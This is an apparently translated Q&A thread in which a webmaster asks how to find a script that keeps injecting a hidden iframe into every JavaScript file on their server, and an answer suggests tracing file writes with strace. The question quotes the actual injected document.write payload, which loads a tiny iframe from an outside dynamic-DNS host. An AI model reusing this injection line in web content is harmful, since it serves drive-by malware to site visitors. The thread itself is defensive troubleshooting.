尝试在我的服务器上搜寻恶意软件

尝试在我的服务器上搜寻恶意软件

可能重复:
我的服务器被黑了 紧急求助

我的一台服务器最近遭受了恶意软件攻击。此后,我清理了服务器,升级了各种 wordpress 安装和 timthumb 文件,并删除了大量旧目录和存档目录。我的主机 (dreamhost) 同意所有大漏洞都已修复。

现在我只需要找到恶意软件的来源。在我的服务器上的某个地方,一个脚本正在向我的所有 javascript 文件添加 iframe 注入。这种情况每隔几分钟就会发生一次。以下是注入的一个示例,尽管有时会发生变化:

document.write('<iframe src="http://wbjsb.myddns.com/valcunatrop.cgi?6" scrolling="auto" frameborder="no" align="center" height="11" width="11"></iframe>');

如果我将其移除,它会在大约 5 分钟后恢复。

关于如何找到进行这些更改的脚本,您有什么想法吗?谢谢!

答案1

如果恶意软件是 Web 服务器实际执行的脚本,您可以尝试使用它strace来查看 Web 服务器进程/脚本解释器根据正在进行的系统调用打开和/或写入哪些文件。这有点低级,但确实有效。(这取决于所使用的服务器、脚本语言和分叉模型)。您可能希望在脚本解释器上粘贴 strace(以 php 为例,例如php5-fpm如果它是 PHP FPM,apache2如果使用 mod_php5),并可以看到正在打开哪些文件,例如对于使用 mod_php5 的 apache2:

sudo strace -f -e open,close,read,write apache2 -k start | tee /tmp/strace.log

或类似的东西,然后检查日志。(-f强制 strace 跟随 fork,假设您的 Apache 使用的是 prefork MPM;通常是 mod_php5 安装的默认设置,-e open将输出限制为仅open(2)系统调用和相关内容)。显然,这将向您显示服务器/PHP 正在打开的每个文件,但您可以做一些grep魔术来尝试缩小范围。

您可能可以根据write(2)使用 grep 发生的系统调用来缩小范围(使用-vstrace 选项以避免截断发送到的字符串write(2))。

相关内容